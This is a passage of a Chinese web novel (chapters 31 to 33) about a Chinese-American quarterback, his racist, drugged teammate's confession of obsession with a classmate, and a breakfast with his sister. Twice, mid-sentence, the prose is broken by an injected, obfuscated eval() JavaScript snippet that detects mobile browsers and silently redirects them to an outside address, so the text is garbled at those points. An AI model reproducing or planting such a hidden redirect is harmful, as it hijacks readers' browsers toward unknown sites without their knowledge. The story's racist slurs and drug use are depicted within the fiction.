“看在我为你保守了秘密,以及帮你查出了这件事的份上,偶尔回去看看云阿姨,好不好?” 高谏琦的声音几乎称得上是在恳求,但云决明内心如一片死水。 “好。” 他冷声说道。 31. Chapter·Nine 楼上的派对正喧闹。 隔着一层楼板,艾登都能听见头顶上传来的隐约咚咚声,想来情形和他一个多小时以前离开时并无二致,音箱里放着的是油管网红翻唱的流行歌曲,红色塑料杯里装的是混了廉价啤酒的汽水,几块冷掉的披萨被随意丢在盒子里,打了果酒的西瓜堆在冰桶中,一大群衣着暴露的年轻男女挤在餐桌旁玩投杯球,时不时就有人被好几个学生扶着倒立起来,抱着啤酒桶大口喝着,周围尖叫发出的欢呼声几乎能震破耳膜。 这是属于大一新生的狂欢。下一年,他们就会成为所谓的“老成员”,从被捉弄,被使唤,被羞辱的对象,摇身一变,成了捉弄,使唤,羞辱新生的人。派对越盛大,越热闹,请来的红人越多,就越证明他们多年媳妇熬成婆般的扬眉吐气。 艾登不喜欢这样的派对,从来就不喜欢。 但成为他这样炙手可热的校园当红炸子鸡是有代价的,艾登从上初中开始就明白了这个道理。想要受欢迎,就得出席一个又一个这样的派对,打扮入时,紧跟当下潮流,假装自己是玩咖之王,假装自己比谁都要酷,假装自己的生活五光十色,多姿多彩,绝不是什么只想待在家里看日本动漫打电子游戏的loser。 一开始,艾登很享受这一切——尤其是在父亲死去以后。 但他很快就意识到,所谓的社交阶级,所谓的受欢迎,所谓的友谊,都不过是个天大的笑话,如同漂浮在空中的肥皂泡泡,底下的人都被它表面反射出的绚丽光芒迷惑,于是争前恐后,如伊卡洛斯般挣扎着向阳飞去,只有真正身处泡泡中的人才知道它有多么脆弱,多么肤浅,一戳就破,无法挖掘任何深度。 但没人愿意承认这一点,承认这一点就意味着抹去表面的光鲜亮丽,声色犬马,赤倮倮地向整个世界展现泡泡背后的丑陋与不堪,于是所有人都不约而同地维护着这个秘密,艾登也是其中一员,他身不由己。 他能做的,就是在楼上露个面,与几个熟面孔大笑着打招呼,认识几个新人,坐下来玩一两局派对游戏,拍两张合照,最后在角落里和几名兄弟会的资深成员聊一聊,分享他们带进来的一瓶上好威士忌。等这些“社交义务”都尽了以后,他便躲到了地下的娱乐室——只有资深成员才能够进入——陷在柔软的皮质沙发中,任凭醉意让自己恍若在海上轻飘飘地像一只水母般浮荡,娱乐室另一头有几个人在打桌球,细微的木球碰撞声很催眠。 Ming现在在做什么呢? 这个想法好似一条孤独的海豚,悄无声息地游进了艾登所在的水域,伴随他一同跟着海浪起伏。 现在是星期五的晚上,他大约正在看书吧,洛克希也许正趴在他的脚边呼呼大睡,发出可爱的呼噜声——最近几天,大狗突然与云决明熟络了起来,不管他去哪,它都紧紧跟着,尾巴甩得欢快。也许云决明趁自己不在家的时候,偷偷喂了它好多零食,赢得了它的欢心吧。 他几乎都可以在眼前瞧见公寓此时的情形,一束温暖的黄光照在桌前,穿着棉质居家服的云决明坐在桌前,苍白瘦削得可以瞧见血管与骨骼的双脚赤倮着踩在木地板上,整栋房屋静谧无声,仿佛根本无人在家——云决明就是这样,即便与他生活在一起,也几乎感受不到他的存在,他手脚轻得就像一只猫。有天早上,艾登睡到中午才起来,发觉云决明已经把全家打扫得干干净净,木地板被拖得能当成镜子来用,所有的家具都被擦得锃亮,仿佛要拿去在博览会上展示,花瓶里也都放上了新鲜的花束,按照他写下的购物清单买回来的菜整整齐齐收在冰箱里。他干了这么多活,艾登却完全没被吵醒。 地下室的门突然被打开,艾登好似从美梦中惊醒,一下子坐起身,瞧见几个橄榄球队员踉踉跄跄地挤下阶梯,差点要摔成一团,有个人及时扶住了门,另外一个人则撑住了墙,摇晃的几个身影定格了一瞬,让艾登看清他们原来中间还扶着一个人。“怎么了?”他出声问道。 “杰森醉了。”其中一个队员哼了一声,回答道。四个男人又拉又拽,这才把人高马大的杰森拖到沙发上。艾登凑过去闻了闻,发现杰森鼻息中酒气并不重,心下就明白了几分。“酒里加了什么?”他又问道。 “不知道,”先前说话的人耸了耸肩,“大概是NCAA查不出来的东西吧,他整个人当时就变得晕乎乎的,恍恍惚惚,我们怕他在楼上会做什么傻事,而且对别的队员影响也不好。就把他带下楼,让那股劲过去。” “行,我会看着他。”艾登无可奈何地说道,“你们回去吧。” 躺在沙发上的杰森勉强睁开了眼睛,“艾登,我的好兄弟。”他含糊不清地嘟囔了一句,挣扎着坐起身要来给艾登一个拥抱。 艾登不耐烦地把他又推了回去。 “我们八月就要开始高强度的训练了,”他不满地压低了声音,免得另一边打桌球的兄弟会成员听见,“教练千叮咛万嘱咐,这段时间不能落下力量训练,也不能放松饮食,更不能做任何出格的事情,你这是在干什么——” “看啊,你听上去就像是个真正的队长似的——”杰森双眸无神,半睁半闭,倒还清楚地发出了一声讥笑。 “我本来就应该是——” 艾登深吸一口气,把后半句话硬生生地咬在牙齿中,没有说出。 橄榄球运动界里有个不成文的规矩——一支球队的四分卫通常也担当着队长的职责,因为在球场上,四分卫本身的职责就与队长极为类似,他要随时根据球场上瞬息万变的比赛情形改变自己的策略,并且指挥自己的队员配合自己的行动。艾登从小到大担任的都是四分卫,然而他从来都不是队长,原因是什么,艾登很清楚。 因为他不是白人。 他姓维尔兰德,但他长了一张中国人的脸,有着中国人的血统。在运动界,什么种族能站上什么位置,有着鲜明而不必言说的规则,拉丁裔永远是防守后卫,跑卫里一定会有黑人,作为四分卫的白人能得到最多的欢呼。华裔?华裔根本不存在于这项运动中,能爬上四分卫的位置,百分之八十靠的是维尔兰德家族悠久的橄榄球传统,百分之二十靠的是艾登本身的天赋,即便如此他也永远不可能是队长,人们天然就不相信他的领导能力,不相信一个黄种人具有橄榄球队长应有的“坚韧不拔,勇敢无畏,永不放弃”等等品质;而杰森往那一站,人们就准备好为他激动痛哭,为他嘶哑嗓音,要不是他能力实在比不上自己,四分卫这个位置根本轮不到艾登。 他平复了一下心情,换上了更为镇定的口吻。 “你很清楚规则是什么,杰森,你可以放纵,你可以随意游戏人间,但有些界线你不可以跨越,尤其是在其他队员面前,你让他们怎么想?队长尚且如此,我们又何必自律——” 但杰森脸上还是那种恍惚的,傻乎乎的笑容,直愣愣地盯着天花板,好似一个字都没有听进去。他非常缓慢地吸了一口气,接着像要把它吹成个泡泡一样吐了出来,像一条在水中窒息的金鱼。 “你爱上过一个人吗,艾登。”他没头没脑地冒出了一句。 “你问这个干什么。”艾登没有想过爱这个字还能从杰森嘴里冒出来,他从来就没觉得对方有喜欢另一个人类的能力,更别说爱了,不由得皱起了眉头。 “我只是想知道……”杰森的声音含含糊糊,像一条混杂了小石子,玻璃碎片,还有脏兮兮的遗弃物的小溪,刚从下水管道里流出来,被酒精烧得嘶哑的嗓子给他的字眼都蒙上了一层泛黑的泥沙,艾登不得不凑近才能听清楚,“我只想知道……是不是所有的爱在感觉上都是一样的,狂热,膨胀,锋利,腐蚀,烧灼,火花四射,歇斯底里。没有一刻是安宁的,也许只除了现在这一刻。你想尽办法扑灭,然而只让它更加刻骨铭心,所以你只能把它关起来,麻醉自己的感受,用——” 他按住一边鼻子,做了一个手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041208|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,接着无声地大笑了起来。 “你这么做持续多久了?”艾登焦急地问道,“该死的,杰森,你这样会害得整支赛队的信誉都饱受质疑,甚至就连教练也会被解雇——我们上一季好不容易打出了那么好的成绩!” “我不记得了——但如果你经常出席球员的聚会,说不定你就会知道了。该死的,我才应该说该死的,你是我们的四分卫,然而从佛罗里达回来以后,你就再也没应承过任何一场派对的邀请,简直就像你要跟球队决裂似的,整天跟那个瘦不拉几的黄种——” “我警告你,杰森——” “——人,待在一起,形影不离。”杰森在最后一刻改口了,他的指控与艾登的指控根本无法相提并论,然而在此刻他如同水族馆一般晃荡的脑子里,这两件事的严重性是完全一样的。 “我有我自己的生活。”艾登冷淡地回了一句,却仍旧莫名地感到了几分心虚,不由得又补充了一句,“更何况,我现在不是天天都来了吗?” “对,躲在地下室里发呆,这样叫来。”杰森又讥笑了一声。 艾登没有搭话。他唯一同意前来参加这些派对的原因,就是为了尽所谓的“社交义务”。从前他还能装出一副乐在其中的样子,反正他也没有别的什么事好做。然而,自从与云决明搬到一块去住以后,强迫自己享受派对就变得更加不可能了。艾登已经知道他原本能如何度过今夜——和云决明一块吃着爆米花看电影;或者干脆一起坐在客厅看书;甚至,如果云决明愿意的话,他还能教他打游戏,两个人一起端着枪大战僵尸。而洛克希会趴在他们中间,睡得香甜。 很平淡,很寻常,很简单,不轰轰烈烈,也拍不了什么高赞照片,却比任何派对都要来得让艾登快乐。 《魔戒》中曾经描绘过,弗罗多一行人在失去甘道夫以后的很长一段时间里一直处于无法自拔的悲痛中,直至抵达精灵的国度,才在那儿找到了一丝心灵上的宁静。艾登小时候读到这一段,总会感到某种无法抵挡的哀恸猛然袭来,从托尔金细腻的文字中,他找到了某种类似丧父一样的共鸣。然而现实中没有精灵的哀歌,没有不灭的双树光芒,他以为自己永远无法得到那种宁静,直到遇见云决明。 只不过,这种夜晚如今也只能发生在他的幻想中了。 还在上学的时候,艾登根本没有意识到自己干涉了多少云决明的生活。那时候有一起学习作为借口,他便心安理得地霸占了云决明所有的空闲时间——哪怕有时候他们只是坐在韩国甜品店里随意闲聊,商量着要买什么样的家具和什么颜色窗帘,好似也是理所应当的。 可是,云决明回绝度假提议这件事无情地撕碎了遮羞布,让艾登倏然惊觉为此失望恼怒的自己有多么失态——说到底,他们仍然是两个独立的成年人,应该有各自的生活和安排,才是一段健康的友谊应有的模样,而不是一方绞尽脑汁要跟另一方多待一段时间,以至于甚至要打乱对方原本的计划。 所以他用派对来填满自己的时间,力图向云决明,也向自己证明,艾登·维尔兰德的生活很充实,也很有趣,不会因为对方决定不陪自己度假就有什么改变。他计划将现状一直持续到他要去佛罗里达州为止,回来以后就是橄榄球的夏季训练,接着,就开学了——到那时,他又可以借着学习的理由,悄悄地挤进云决明的生活中。 “我知道你也不一样了,”杰森忽然半支起身子,小声对艾登耳语,“我们去佛罗里达训练的时候——你把那个漂亮的金发女孩留在了酒店,自己回去了。你从没这么做过,那女孩美得让人无法拒绝,所有人都羡慕你的运气。我那时就知道了,你不一样了,艾登,你不一样了。” “我的一些想法改变了,没错。” “是因为疏眠,对不对?” 杰森低声说。 他把黎疏眠的名字念的无比标准,就像经过了成千上万次的练习一样。 32. Chapter·Ten 难道说,杰森爱上的是疏眠? 醉意全然被这个想法吓跑,现实突然变得前所未有的清晰起来,就像终于在影院地板上摸索着找到了3D眼镜,一抬头却发现一艘巨大的飞船正向自己撞来。艾登怔怔地望着杰森,一时间什么话也说不出。 这件事匪夷所思的程度,就跟埃隆·马斯克公开宣称自己爱上了马克·扎克伯格,或者汤姆·布雷迪被人曝光是同性恋差不多,艾登久久回不过神来,思绪像脱轨的火车一般跌下了理智的悬崖——所有杰森曾经约会过的女生都是白人,还不仅仅是“外表看起来像个白人”的白人,而是以“一滴血原则”来决断,都能算得上是白人的白人,金发碧眼大胸长腿是最基本的标准,他斜睨着手机,挑剔地在通讯录里寻找约会对象的模样,与当年德国纳粹为了优选优育计划挑选雅利安少女时的态度没什么两样。 黎疏眠是中国人——这还倒罢了,最重要的是,她有脑子,精明强干,独立坚强,是杰森最受不了的那种坚决贯彻“平权主义”的女孩。杰森的约会对象总让艾登觉得她们是从五十年代穿越回来的老古董,每日幻想的就是盛大的婚礼与当个精致的郊区家庭主妇。她们的愚蠢程度也让艾登惊叹,其中有一半的人都不知道中国在哪,知道的那一半,又以为东京是中国的一个大城市,“它就在上海旁边,对吗?”曾经有一个金发女郎咯咯笑着问艾登,“我总听人们把这两个城市拿来相提并论。” 艾登根本想不通这事到底是怎么发生的。 他想让杰森清醒一点,倒了一杯冰水,半强迫着他喝了下去,但无济于事,杰森根本没有意识到自己说了什么,劲头已经上来了,他甚至不记得自己几分钟之前说了什么,只是无忧无虑,心满意足地瞧着头顶的天花板,四肢软得像湿了水的面粉,沉甸甸地垂在地毯上,有好几次,他看上去像是要吐了,吓得艾登从沙发上跳起来,连连后退了几步,结果他只是从嘴角喷出了一点泡泡,又重新回到那昏沉的状态中,仿佛他正在起伏涌动的沙浪上做SPA。 有一件事,艾登是很确信的,等杰森神志恢复了,无论他是否真的爱上了疏眠,他都绝不会承认这一点。 “杰森,你得跟我说话。”艾登轻轻拍着他的脸,耐心地一遍又一遍唤着他的名字,“杰森——杰森——” 终于,杰森涣散的视线稍微聚焦了一点,他恍恍惚惚地看了艾登一眼,肌肉松弛下来,露出半边傻笑。 “我一直把你当成我的好兄弟,艾登,”他轻声说道,好似呓语,“一直都是。” 艾登沉默着没说话。 杰森与他之间的关系无法用任何词语去形容,他们从幼儿园起就认识了,在两小无猜的年龄也的确产生过一段真挚的友谊。然而,某一天,杰森忽然意识到艾登并不是白人,从那一刻起,一切就变味了。艾登好似是他朋友圈边缘一只若进若出的小鸟,无处落脚,又犹如他用来遮掩自己种族歧视的盾牌;前者让他既不至于沦落到被他辱骂讥笑的地步,却也不值得被杰森真心平等看待;后者则类似打扮得花枝招展的男人身边挽着的妻子,谁都知道那是个欲盖弥彰的笑话。 也许杰森心中对艾登的厌恶反感,不比艾登对他的少,但这么多年,艾登对杰森明目张胆的种族歧视言行装聋作哑,杰森对艾登的肤色和出身视而不见,于是他们心照不宣地维持了表面的和睦与亲密,相安无事,营造出了外人看来的“四分卫与队长是一对最铁的哥们”的假象。 “我知道你不这么想,”他深深地叹了一口气,傻笑突然变得苦涩起来,“我自己都不愿意相信这一点。” “杰森,你爱上了黎疏眠吗?”艾登不想在他们两个究竟算不算朋友这个话题上多做纠结,这个话题总让他同时产生两种截然不同的冲动,一种让他想要紧紧抱住杰森的肩头——他毕竟是自己认识最久的同龄人,他陪着艾登走过那段父亲活着的岁月,他记忆中的父亲就跟自己记忆中的父亲一样,这一点的特殊,无人能取代;而另一种,则让他想要狠狠地给杰森脸上来上一拳——在他最需要朋友,最需要陪伴的时刻,杰森无情地抛弃了他,直到他终于压下悲痛,重返校园,再度获得坐在“受欢迎餐桌”旁的资格以后,他才重新跟自己说话,这一点,比他的种族歧视行为更没法让艾登原谅。 这个名字给杰森面庞镀上了一层虔诚的光,从他眼里唤起了一丝光芒。 “你爱她吗?”他摸索着,好似要去握住艾登的手,但艾登不动声色地抽走了胳膊。 “回答我的问题,杰森,你怎么会——” “我把她让给了你,”杰森用一句含糊不清的话打断了艾登,他的手用力在空中一挥,重重打在沙发靠背上,好响亮的一声“啪”,把那些打桌球的人都惊动了,“我把她让给了你,因为你喜欢她,因为你是我的好兄弟,虽然……虽然我那时根本不知道……” “不知道什么?” “我不知道……”杰森呜咽着重复这句话,间中夹杂着好几句毫无意义的句子,似乎在他的眼中,此时的艾登就是一丛正在发射着火花的着了火的灌木丛,绿油油的身体上冒着熊熊的焰火,艾登对他又拍又晃,才把对话拉到了一个常人能听懂的水准上。 “你不知道什么?”艾登耐着性子又问了一遍。 “我瞧见你们圣诞节在一起,”杰森无力地挥出一笔笑容,“她戴了一条项链,很细,不起眼,但我……我老远就看见了,比一百克拉的钻石还耀眼,然后你——你——” 杰森伸出手,好像要扼住艾登的喉咙,最后却捏成了拳头,碰了碰他的前额。 “你替她把项链整理了一下,把搭扣转到后面去,诸如此类的,我看见你的手指轻轻拂过她的脖子,我才知道我有多么想要杀了你,艾登,你是我最好的兄弟,唯一的兄弟,那一刻我想杀了你,再把你救活,砍了你的手逼你吃下去,然后又杀一次,我恨不得能炸掉整座商场,只有她一个人存活——或者死了也好。我会从废墟中把她的尸体抱出来,然后小心翼翼地把项链整理好,我只想那么做。” “为什么?”艾登惊讶过了头,反倒冷静地问出了这一句。 “所以,我想知道你是不是也有那种感觉,”杰森答非所问,似乎只说他想说的话,“我想知道你有没有爱上过一个人——我想了好几个月,反复的想,上瘾了一样,所以不想的时候,只能用别的瘾头盖过去,不然太难受。你知道吗,你不是那天晚上唯一一个把女孩留在酒店然后独自离开的人,我也走了,在迈阿密的街头,一直走,但是走不回那个圣诞节。我想找你,我想知道你知不知道,如果你也爱过一个人,也许你能告诉我那到底是不是爱,但你不在,总是不在,永远跟那个凯特·摩丝待在一起。” 艾登心里突然冒出了一个奇怪的念头,和疏眠共度的圣诞节在记忆中已经模糊了,他根本不记得自己为她调整过项链,但如果把疏眠的身影换成云决明,一切都仿佛在刹那间大放光彩。炫目温暖,从挑高的玻璃天花板上垂坠的水晶灯,造雪机上下在商场中央挥舞出一把接一把的雪花,孩子们排着队与圣诞老人合影,身边是来去匆匆,忙着为节日而购物的人群——但如果那一刻,云决明身边的人不是他,而是杰森,或者别的什么人—— 这念头太奇怪了,艾登不得不赶在它激起任何可能的感觉以前就把它掐灭,重新专注在眼前这件事上,“我不明白,杰森,你怎么会——” “如果是爱的话,还需要理由吗?”杰森的手向半空中伸去,指尖像即将触及星光般温柔,细细在虚无中摩挲。这一刻,他听起来很清醒,话却还是毫无逻辑,东一句西一句,“她什么都不在乎,艾登,没什么能打倒她。你知道,之前,你要我放弃社会学课,为了你宝贵又可爱的凯特·摩丝能通过那节课,为什么我那么轻易就答应了,问都没一句,艾登,我问都没问一句那小子是不是给你bj了,才让你这么帮他,因为我知道当我的拍档不好受,她就是我的拍档,健康课上的拍档。” 杰森上健康课是去年秋季学期的事了,艾登去年八月认识了疏眠,一直到十一月他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041209|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才开始约会。但这期间,疏眠从未提过到杰森一个字,一定要说的话,她只隐约提起过一句,说跟艾登约会这件事让她在中国人的社交圈里遭到了网暴,随即又安慰他不必担心,她自己就能处理好。 也许她是不想影响自己和杰森之间的关系。艾登思忖着。 “我以为她的强大只是面具,艾登,所有人都等着看好戏,哈哈,杰森·埃弗里的拍档是个他最讨厌的黄种母猪,多有意思啊,让我们看看她能坚持到什么时候,就受不了退课吧。麦克道文赌两节课,小唐纳德赌一个月,文森特说在期中考试以前,我跟他们保证,只要五分钟——” 艾登诧异地瞪着杰森,他突然记起了去年秋季学期一开学发生了什么,“当时你的手指肿了两个星期,”他压低了声音说道,“那难道是——” “噢,是的,用那个石膏生直器干的好事,还跟教授说她瞧见了一只苍蝇,好笑的是那本来是我想抓的地方。你知道人们都是怎么说那些黄种母猪的,又胆小,又怕事,又不会说英文,说了也没人听得懂,从来不懂怎么保护自己,活该在这儿沦落成四等公民,我的意思是说,瞧瞧所有来美国混的移民——” “你最好小心你说出的话,杰森。” 杰森呆滞地看着他,根本不明白艾登为什么会这么生气。他收回手,拉开了自己的嘴角,“Why so serious?”他模仿着小丑的声音尖声说道。 “I am serious.”艾登咬着牙说,“这么多年,我一直欺骗自己,只要你不在我面前说这些话我就当你没说过,但你不能一直反复试探我的底线——” “噢,对,好像是这样,确实挺好听的。”杰森又说起了牛头不对马嘴的话,眼中的光芒渐渐黯淡,如今只有黑压压的一片。 艾登缓缓深呼吸着,好平复自己的怒气。他不想再听杰森继续胡言乱语下去,但就凭对方透露出的只言片语,他也大概能猜出接下来发生了什么,以疏眠的性格,八成狠狠地整了杰森一学期——她是那种能够不动声色地想出最完美的杀人计划的女性,艾登一直这么觉得的。更何况杰森在智力,言辞犀利,甚至是绕圈子骂人这一点上,和疏眠的层次实在差了太远。 但那是爱吗?还是说,那只是手下败将像丧家之犬般被激起的浓厚占有欲? 如果只是占有欲,骨子里杰森仍然鄙夷她的存在,为何又能把她的名字说得那么标准,毫无瑕疵呢? 如果是爱……杰森懂得什么是爱吗? 艾登静静坐了很久,也没能得出答案。躺在沙发上的杰森渐渐安静,只偶尔嘟囔出某个听不懂的词,也许把他留在这里也可以,他不会发酒疯了,最激烈的劲头已经过去了。艾登突然很想回家。 现在还不算太晚,他看了看手机,也许云决明还没睡,可能仍然坐在桌前,赤着双脚,静静看书。听见钥匙在门上转动的声响,他会走到楼梯口那儿望一眼,“你回来得挺早。”他也许会说,全世界起飞的飞机在窗口收集到的城市灯火,都不及那一刻他眉眼的平静温柔,“要不要我替你烧点水喝?” 他喜欢喝热水,也喜欢灌自己热水喝。艾登忽地笑了起来。 “告诉我……”他临要走时,杰森垂下的手突然握住了他滑过的胳膊,精准得不可思议。他愕然望去,只瞧见了一双晕眩着痛苦的眼眸,“你爱过她吗?” 杰森好像再也说不出疏眠的名字,只能以她替代,可能因为说出来太苦,会刺破他此刻难得的迷蒙。 “没有,杰森,从来没有。” “你爱过吗?” 艾登犹豫了一下,他约会过很多人,喜欢过很多人,从未爱上过任何一个,但此刻却说不出“不”。 “我不知道。” “那这是爱吗?艾登,你知道这一点吗?”他沙哑着嗓子,断断续续地问道,好似拼尽最后一分力气。 艾登弯腰把他的手在胸口放好,拍了拍杰森的肩膀。 “是的,”他小声在他耳边说,“那的确是。” 33. Chapter·Eleven “请帮忙开下门,好吗,Ming。”楼下门铃声忽然大作,正在煎鸡胸肉的艾登头也不回地说道。 坐在餐桌旁的云决明闻言放下那本《认识连环杀人犯——常见动机与手法解析》,起身向楼梯走去。洛克希早就兴奋地奔下了楼,在大门旁摇着尾巴转悠,说明来的是个他认识的客人。透过猫眼,云决明只能瞧见艾莉的背影,她紧张地用手指捏着下嘴唇,就像在抵挡啃指甲的冲动。 云决明打开门,艾莉立刻转过身来,手也放下了,一脸若无其事。她没有化妆,只在发型和衣服上下了功夫,她的衣着——即便是云决明这种完全对流行趋势一无所知的人看来,也时髦到了极点,与摄影师在好莱坞街头找到的那些打扮入时,精致漂亮的女孩一模一样,又不失她自己的特点。云决明眼疾手快地拦住了正想要扑上去的洛克希,免得它把艾莉的裙子抓坏了。 艾莉蹲下身,难得地露出了一点笑意,她使劲挠着洛克希的脖子,把大狗乐得直蹭她的膝盖,一副又想在地板上打滚,又想把全身都贴着她的滑稽模样,挥舞的尾巴好似要击穿地心。云决明注意到她身后还拖着一个巨大的行李箱。 “要我帮你把它抬上去吗?”他困惑地问了一句,虽说知道艾莉要把她化妆用的全套工具和摄影设备都带来,但那也用不着一个三十二寸的行李箱吧? “别瞎担心,”艾莉抬头望了他一眼,撇了撇嘴,说道,“我不是要搬进来。我只是不确定这套衣服在镜头下的效果怎么样,所以多带了几套衣服备用。” 她想装出一副满不在乎的语气,却没能盖住嗓音的颤抖。 “我觉得你现在这套就很好看。”云决明真诚地夸奖了一句,他不知道该怎么评价女孩子的衣着,憋了半天又添了一句,“颜色很衬你的肤色,还有你的眼睛,真的很好看。” 他以为艾莉的脸色会立刻沉下来,然而她只是抿了抿嘴唇,仿佛在掩饰一个禁不住要冒出的笑容。“行李箱不重,”她站起身,让开一条道,“注意轻拿轻放,里面有摄像机。” 虽然她这么说,云决明拎起来时还是觉得颇为吃力,脸憋得通红,吭哧吭哧地跟在她身后。 “艾登呢?” “他在厨房,给你做早餐。”云决明气喘吁吁地说道,艾登昨晚难得地在午夜前回家了,云决明猜多半是因为艾莉今天要过来,他得早起的缘故。 说曹操,曹操就到,围着围裙,还拿着锅铲的艾登忽然出现在了楼梯口,“你怎么带了这么一大包过来?”他讶然地说了一句,赶紧走下来把行李箱从云决明手上接过去,“你是打算离家出走吗?” “怎么?你对准备齐全有什么意见吗?”艾莉没好气地说道,白了她哥哥一眼,“总好过我到时候临时把你差遣去商场给我买化妆品吧。” “没意见,没意见,”艾登似乎还想对艾莉今天的穿着发表点什么意见,但云决明一看他那想要扮演父亲的欲望又蠢蠢欲动地冒头了,赶忙瞪了他一眼,才让艾登委屈地嘟囔了两句,打住了话题,“只是好奇你跟妈找了什么借口。”把行李箱往墙边一放,艾登又匆匆跑回了厨房,继续在炉灶前忙活,透过抽油烟机的轰鸣,他大声喊道,“你拖着这么大的箱子离开家,她就没起疑心吗?” “我跟妈妈说我要去克丽丝家过周末,”艾莉好奇地四处打量着,上次她过来的时候,这间公寓里还乱糟糟地堆满了各种纸箱,现在已经被云决明收拾得干干净净了,“克丽丝开车把我接走的,所以妈完全没怀疑。她今晚也会把我接过去,我们可以一起剪辑今天拍的视频。” “你想好要拍什么主题了吗?” “我不知道,”艾莉耸了耸肩,“我看了很多油管博主给新人的建议,他们都说要找到自己的节奏,知道自己想要向大家展示些什么,或者就是干脆做自己就好,所以我打算先录几段,看看是什么感受,再做打算。” “你怎么做事这么——”“你觉得这束花怎么样?” 云决明的声音盖过了艾登冲口而出的责备,他一个箭步跨到艾莉身旁,指了指茶几上的木花瓶——这是艾登之前挑家具时从旧货市场淘回来的,喜欢得不得了,因此云决明在里面养了一束怒放的绣球花,每天都不辞辛劳地精心照料它。“看着挺漂亮的,”艾莉莫名其妙地看了他一眼,“你喜欢插花吗?” “我是觉得——”云决明不忘回头瞪了艾登一眼,这才对艾莉干笑了两声,“一会你录视频的时候,也许我们可以把这束花放在一旁,呃,营造出一点典雅的气氛,你觉得呢?” “嗯……确实是个不错的提议。”艾莉挑剔地打量着那瓶花,沉吟着,“我的确发现那些房间背景布置得特别少女,或者特别北欧风的博主会得到更多的点击,甚至她们会专门开一期视频介绍自己的房间——要把这间公寓布置成粉红色的公主风显然是不可能的,也不是我的风格,也许可以考虑简约——” 她说得起劲,完全没发现云决明和艾登在她身后用眼神进行着无声的激烈交流。 艾登:“她怎么可以这么没有计划。”(紧皱的眉头,不满的视线) 云决明:“你应该当个哥哥,而不是父亲的替代品,你又忘了这一点。”(挑起的眉头,往艾莉的方向努了努嘴) 艾登:“可恶!”(五官紧皱了一下) “不管你决定怎么拍自己的视频,”艾登关上了抽油烟机,清了清嗓子,把锅里的食物铲到盘子里,一盘一盘分别排开,深蓝色的盘子是他的,浅绿色盘子是云决明的,浅灰色带金边的圆碗则是艾莉的,“我都会支持你,艾莉。” 这句话他说得很艰难,艾莉想必也听出了这一点,难得是她没有对这一点冷嘲热讽,只是安静地在餐桌旁落座了,“早餐看上去很不错,”她说道,“我现在才相信,上次那一大桌子饭菜是你自己做的。奶奶告诉我的时候,我还以为她只是不想让妈妈把你臭骂一顿,说你搬家了还要奶奶给你做饭什么的。” 艾登给自己做的是鸡胸肉,清煎芦笋,以及水煮抱子甘蓝;云决明的则是蘑菇蛋饼及火腿;给艾莉准备的是蓝莓酸奶水果沙拉,以及一杯香蕉芒果无糖无脂肪无麦麸奶昔。 “瞧不起你哥的下厨能力?”艾登损了她一句,虽然还有点生涩,但他的确在适应。 “鉴于你过去差点打碎的瓷器的数量,”艾莉拿起勺子,耸了耸肩,“你不能怪我那么想。” “我只是想从家务活中脱身而已,”艾登抗议道,“别说我,你自己也会用这一招好吗?” “我?”艾莉眉毛立了起来,眼睛瞪得大大的,“我可从来都没有试图逃避家务。” “拜托——”艾登拖长了声调,“是谁不小心把爷爷名贵的水晶酒杯打破了,还推在我身上,害得我打扫了一整年爷爷的桌球室——那本来是你该做的家务活。” “那水晶酒杯是因为你推了我一下才打碎的!” “噢,是吗?你是说当时明明站在厨房另一头的我突然多了一只长达三米的手臂吗?” “哈,到现在还坚持着那一套‘我在厨房另一边’的说辞,是吗?” 艾登没有马上接话,云决明从蘑菇蛋饼上抬起头来,发现他的肩膀抖动着,正在无声地大笑,艾莉莫名其妙地看着他。 “你是不是给我的沙拉加了什么东西?”艾登笑了好久,还是没能停下来,惹得艾莉一脸狐疑地在碗里挖来挖去,唯恐自己吃下了半只虫子,或者什么别的恶心的东西,直到艾登伸手按住她动来动去的胳膊—— “不,不是,你的沙拉好得很,”他强忍着笑,勉强说道,“我只是——只是——很抱歉,我愿意承认那一次是我推了你。” 艾莉安静了下来,似是没有料到艾登会这么说。她低下头,勺子反复在一块哈密瓜上抹来抹去,把艾登亲自调的淡奶油推得到处都是。云决明猜想她也许也想说点什么来缓和气氛,一时间却难以开口,便只好主动打破了沉默,“最近学校里有什么新鲜事吗?” 他以前没扮演过这类角色,问得很笨拙。艾莉瞥了他一眼,紧绷的五官总算放松了一点,“没什么,”她说道,又恢复了那漫不经心的模样,“还是老样子,一群无聊透顶的女生——等等。” “怎么了?”艾登马上警惕地抬起头,云决明几乎都可以看见一对耳朵像天线一样从他头上竖起来,转往艾莉的方向,“发生什么事了?” “也没什么,”艾莉轻描淡写地说道,“有人向我打听你是不是搬出去跟一个男孩同居了。我只是有点惊讶你搬出去的消息怎么这么快就泄露了——我还以为没人知道呢。” 云决明心一沉,他还没来得及跟艾登说他昨晚从高谏琦那儿听说的事情,没想到那个叫唐泽茹的女生都打听到艾莉那儿去了,也不知道是不是为了证实自己情报的准确性。 “你怎么说?”艾登紧张地追问着。 “我干嘛要说什么?”艾莉不满地乜了他一眼,“怎么?我是你的粉丝情报前线,还要专门对外播报你的动向吗?” “也不是——” 